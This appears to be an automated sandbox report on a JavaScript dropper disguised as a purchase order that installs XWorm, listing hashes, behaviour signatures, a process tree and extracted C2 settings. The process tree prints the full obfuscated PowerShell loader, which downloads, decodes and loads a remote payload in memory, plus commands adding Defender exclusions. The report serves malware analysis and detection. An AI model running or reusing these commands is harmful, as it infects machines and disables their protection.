Analysis
- max time kernel
148s - max time network
147s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
30/09/2026, 08:25
Static task
static1
Behavioral task
behavioral1
Sample
PO300926.js
Resource
win10v2004-20260911-en
General
- Target PO300926.js
- Size 33KB
- Sample260930-kbg2masbrd
- SHA256 ca9d3d85b31f567b771cd886ea7f5ff7b67953d1fe3083241a3f3de554f9b5ca
- MD5 a7d6eb86d48031b2d20dc9ac993f7fd9
- SHA1 9ffc4d42d11bd8a5bc08d49ba873feec4775a6d6
- SHA512 7bfce15affa9546348d2c0bd935dda150e1d18782087215ad4a0b1a538f5d65a3f0aada6d97c46137758a0e9652fd8fc4b58de0fb24f92b653bb9c7a8bdd39ba
- SSDEEP 384:xqoDF5++eUNUjSDz+ZpPoOzdo0c/P/Ea0M88:xqo2XUNvopPooo0c/P/Ec88
- TLSH T187F228E0F7620AB791FB776BAE59C34CC5429D1AD4F9B30CE863204F07BBD8A6502116
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
-
xworm
-
5.0
-
102.220.160.146:5050
-
p7sMzY5ciavfaEoj
-
install_file
USB.exe
Signatures
- Detect Xworm Payload 1 IoCs
resource yara_rule behavioral2/memory/976-923-0x0000000000400000-0x0000000000410000-memory.dmp family_xworm - Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1364 4640 powershell.exe 89 - Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 5 1364 powershell.exe 8 1364 powershell.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
pid Process 1364 powershell.exe 2968 powershell.exe 2776 powershell.exe - Enumerates connected drives 3 TTPs 3 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
ioc Process \??\F:\ powershell.exe \??\F:\ powershell.exe \??\F:\ powershell.exe - Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 1364 set thread context of 976 1364 powershell.exe 95 - Command and Scripting Interpreter: JavaScript 1 TTPs
- Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname wscript.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain wscript.exe - System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Caspol.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe - Suspicious behavior: EnumeratesProcesses 10 IoCs
pid Process 1364 powershell.exe 1364 powershell.exe 2968 powershell.exe 2968 powershell.exe 2968 powershell.exe 2776 powershell.exe 2776 powershell.exe 2776 powershell.exe 976 Caspol.exe 976 Caspol.exe - Suspicious use of AdjustPrivilegeToken 46 IoCs
description pid Process Token: SeDebugPrivilege 1364 powershell.exe Token: SeDebugPrivilege 976 Caspol.exe Token: SeDebugPrivilege 2968 powershell.exe Token: SeIncreaseQuotaPrivilege 2968 powershell.exe Token: SeSecurityPrivilege 2968 powershell.exe Token: SeTakeOwnershipPrivilege 2968 powershell.exe Token: SeLoadDriverPrivilege 2968 powershell.exe Token: SeSystemProfilePrivilege 2968 powershell.exe Token: SeSystemtimePrivilege 2968 powershell.exe Token: SeProfSingleProcessPrivilege 2968 powershell.exe Token: SeIncBasePriorityPrivilege 2968 powershell.exe Token: SeCreatePagefilePrivilege 2968 powershell.exe Token: SeBackupPrivilege 2968 powershell.exe Token: SeRestorePrivilege 2968 powershell.exe Token: SeShutdownPrivilege 2968 powershell.exe Token: SeDebugPrivilege 2968 powershell.exe Token: SeSystemEnvironmentPrivilege 2968 powershell.exe Token: SeRemoteShutdownPrivilege 2968 powershell.exe Token: SeUndockPrivilege 2968 powershell.exe Token: SeManageVolumePrivilege 2968 powershell.exe Token: 33 2968 powershell.exe Token: 34 2968 powershell.exe Token: 35 2968 powershell.exe Token: 36 2968 powershell.exe Token: SeDebugPrivilege 2776 powershell.exe Token: SeIncreaseQuotaPrivilege 2776 powershell.exe Token: SeSecurityPrivilege 2776 powershell.exe Token: SeTakeOwnershipPrivilege 2776 powershell.exe Token: SeLoadDriverPrivilege 2776 powershell.exe Token: SeSystemProfilePrivilege 2776 powershell.exe Token: SeSystemtimePrivilege 2776 powershell.exe Token: SeProfSingleProcessPrivilege 2776 powershell.exe Token: SeIncBasePriorityPrivilege 2776 powershell.exe Token: SeCreatePagefilePrivilege 2776 powershell.exe Token: SeBackupPrivilege 2776 powershell.exe Token: SeRestorePrivilege 2776 powershell.exe Token: SeShutdownPrivilege 2776 powershell.exe Token: SeDebugPrivilege 2776 powershell.exe Token: SeSystemEnvironmentPrivilege 2776 powershell.exe Token: SeRemoteShutdownPrivilege 2776 powershell.exe Token: SeUndockPrivilege 2776 powershell.exe Token: SeManageVolumePrivilege 2776 powershell.exe Token: 33 2776 powershell.exe Token: 34 2776 powershell.exe Token: 35 2776 powershell.exe Token: 36 2776 powershell.exe - Suspicious use of SetWindowsHookEx 2 IoCs
pid Process 3240 conhost.exe 976 Caspol.exe - Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 3240 wrote to memory of 6100 3240 conhost.exe 94 PID 1364 wrote to memory of 976 1364 powershell.exe 95 PID 1364 wrote to memory of 976 1364 powershell.exe 95 PID 1364 wrote to memory of 976 1364 powershell.exe 95 PID 1364 wrote to memory of 976 1364 powershell.exe 95 PID 1364 wrote to memory of 976 1364 powershell.exe 95 PID 976 wrote to memory of 2968 976 Caspol.exe 96 PID 976 wrote to memory of 2776 976 Caspol.exe 99 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\PO300926.js1⤵
- Reads the TCP/IP host and domain name from the registry
PID:984
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -WindowStyle Hidden -Command "1..1 | % { [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('KCgneDltcHJlZ3VzdGFudCA9IHZzM2h0dHBzOi8vcm91ZycrJ2gtdHJ1dGgtZTA3Mi5wdWJsaWNmJysndHByZXNlbmQud29ya2Vycy5kZXYvemlwb2lxdnMzOyAnKyd4OW12ZW50cmlsb3F1aXN0aWMgPSB2czNDOk9IMFVzZXJzT0gwUHVibGljT0gwRG93bmxvYWRzT0gwcGF5JysnbG9hZCcrJy50eHR2czM7IHg5bWNvbnNlcnZhdGl2ZWx5ID0gW2FjdGl2YXRvcl06OmNyZWF0ZUluc3RhbmNlKFtuZXQud2ViY2xpZW50XSk7IHg5bWNvbnNlJysncnZhdGl2ZWx5LkhlYWRlcnMuQWRkKHZzM1VzZXItQWdlbnR2czMsIHZzM01vemlsbGEvNS4wIChXaW5kb3dzIE5UIDEwLjA7IFdpbicrJzY0OyB4NjQpIEFwcGxlV2ViS2l0LzUzNy4zNiAnKycoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS8xMjAuMC4wLjAgU2FmYXJpLzUzNy4zNnZzMyk7IHg5bWNvbnNlcnZhdGl2ZScrJ2x5LkRvd25sb2FkRmlsZSh4OW1wcicrJ2VndXN0YW50LCB4OW0nKyd2ZW50cmknKydsb3F1aXN0aWMpOyB4OW0nKydmaXJlcGxhY2VzID0gKEdldC1Db250ZW50IHg5bXZlbnRyaWxvcXVpc3RpYyAtUmF3KTsnKycgeDltbG92ZXNpY2sgPSB4OW1maXJlcGxhY2VzLlJlcGxhY2UoVk5rKlZOayxWTmtBVk5rKTsgeDltUGFuJysndGFncnVlbGlhbiA9IFtjaGFyW11dJysnKCh4OW1sb3Zlc2ljay4nKydUb0NoYXJBJysncnJheSgpKScrJ1soeDltbG92ZXNpY2suTGUnKyduZ3RoLTEpLi4wXSk7IHg5bScrJ2FzdHJvbGFiZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKC1qb2luIHg5bVBhJysnbnRhZ3J1ZWxpYW4pOyBbQXBwRG9tYWluXTo6Q3VycmVudERvbWFpbi5Mb2FkKHg5bWFzdHJvbGFiZXMpIGU3RSBPdXQtTnVsbDsgW1dpbjMyLlJNUC5hYWFhYWFhXTo6YWFhYWFhYWFhYWEoVk5rb0xaZmhUeGpIVGptaUFteicrJ3dYY29Ca29oc1c0TDhqZCcrJ2hhSlp4VjMwQmtuYnhseTMrb3h3RFBpUUlYOHpvUzUyUGpoRitZZFI5RXhVdnBaREhkQmt4THdjWmZhMCs1d1BzakZscWxDZHowUUE9Vk5rLFZOa0pvWXJISEZzSkVIJysndycrJ0RDdnplaEI1Ris1NC9BJysnL1NNcFZ6JysnNmhrNlNla2R3MGc9JysnVk5rLFZOa0huVTVteHF4NkpwK1JGajNwdmxUVEhESzNwNGdQU3ZnWWtxJysnUUdZQkJaYWl4S1VUaVpWZkR4Uk1MMHlCS0k0YTZWTmssVk5rRFhOaU9YVmkvcE5FJysneXNGMlYwdWtIJysnWDh4MVJrUnhXJysna3p3bHQzcW1XeG82VT0nKydWTmssVk5rTzhEaGxQT2tCTW5hVXIzTWllTEpDM0w3VUNBaldsNHgnKyd4MElvMicrJyt5clEnKyc1UT1WTmssVk5rVk5rLFZOa3k1alpqbFplSTE4WlcnKycyNFRwVlo0Y2lIQnRibFJCc052ajVhVXM5RmpaVUU9Vk5rLFZOa3BVTjRyYmlJTExmY3hRYzh4aVJyZmhHbTVYRkVhK1V6RytZZmxudUEwRUU9Vk5rLFZOa3dWUnVaTEY1Skd1VjI2QmEnKydpbXdBZHFybk03WnhIOUN1eXcvanczbGRWSkUnKyc9Vk5rLFZOa2ErS3ROK0pZRnI4RFY3bnpaNTlTYjVQeE9oakNlVVVTSzRyUndKb214Rjk1bmMwSVphaGJvclp5VGEyZDNmNUVWJysnTmssVk5rVGtCNWtqcU1Qckp1bjJNSGVMbC9RcFErbXRjU0RIOEpCaVRtZEZncm9PQT1WTmssVk5rVk5rLFZOazl2WDJDaEdFcWlMN0RkMlE2d0Zkd05WTmJhQ3N2ZjA4Vll4VUZpK01GU0U9Vk5rLFZOazdOeTRWWDdlcnF0SHhUbnJNa0pqamptT1duS2EnKycwVnNHS1ZrT1hNdDA5WWc9Vk5rLFZOazJVTVlKNEpRM1UySGJpNEcnKycrSCcrJzlrcE1sUXpQekh5THNrcDgnKydYd1hoUXdSN2M9Vk5rLFZOa1ZtenQya2NVTzAnKycraFNFUXlZTUxnSTA3WCcrJ0ZPWnUnKydYS3QnKydHenBOdkdoU3FPcUk9Vk5rLFZOa1ZOayxWTmtWTmssVk5rVk5rKTsgUmUnKydtb3ZlLUl0ZW0gLVBhdCcrJ2ggeDltdmVudHJpbG8nKydxdWlzdGljIC1Gb3JjZSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDbycrJ250aW51ZScpIC1jcmVwbEFjRSAgJ1ZOaycsW0NIQXJdMzkgIC1SRXBsQWNlICAoW0NIQXJdNzkrW0NIQXJdNzIrW0NIQXJdNDgpLFtDSEFyXTkyICAtUkVwbEFjZSAoW0NIQXJdMTE4K1tDSEFyXTExNStbQ0hBcl01MSksW0NIQXJdMzQtUkVwbEFjZSAnZTdFJyxbQ0hBcl0xMjQgLVJFcGxBY2UgJ3g5bScsW0NIQXJdMzYpIHxpZXg=')) } | Invoke-Expression"1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1364 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"2⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:976 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe'3⤵
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2968
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Caspol.exe'3⤵
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2776
-
-
-
C:\Windows\system32\conhost.execonhost.exe1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3240 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe2⤵PID:6100
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 bd800bc8e50683db030f389dd7c8c9b194a1b7b3f24124d59186b9d185b1f678
- MD5 797f6e96d77067a265784f739b9029f7
- SHA1 b039e4ad6e10fd921290ac5fbfa281f66dea4675
- SHA512 c76fc7b26cef3604922e4f46c25c7f0298927664380567fe0c7e16b152a312894217a4890fd04fc03ccbe79eb5eae14992046faa31db75d37a18a6216a1bb28c
- TLSH T1F0216B37F3DC8611D89A403A00CDAC1476B6C7DB81DECFABBB84D554A03F599DE60260
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 21KB
- SHA256 48d7c4ffa0d08ae2fcd4ff9fd3427608dfcef9d292d2a1536240816e71c69944
- MD5 91ccdfdfeee943245c5e5a1b7582c0bc
- SHA1 d58aeb7aa9e1e082e43ea244bd837e7224485a3a
- SHA512 4edc7bf63d86d1b31de69c88ba1473936fd6191aa1cdd86855f447c197e112cfc5fca9652f3adaa5f5c28a9999a9715f655753a23b1b0b25d20126c39720bad7
- SSDEEP 384:21eBaoT1iBGiGW14bG3j5xG+aoXl8+NPnZIAXz48+xW7utzKwgvYbhNqPIlRtLZc:WexZ6G5WiEFxG+gYxIAXzX+lV/bhNqPB
- TLSH T107A2B478213F6DC7D8C216B410D60AE7FBE4D489DAB650D4BF2BDE2F4C90EB64A60524
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rik1kfse.3qq.psm1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH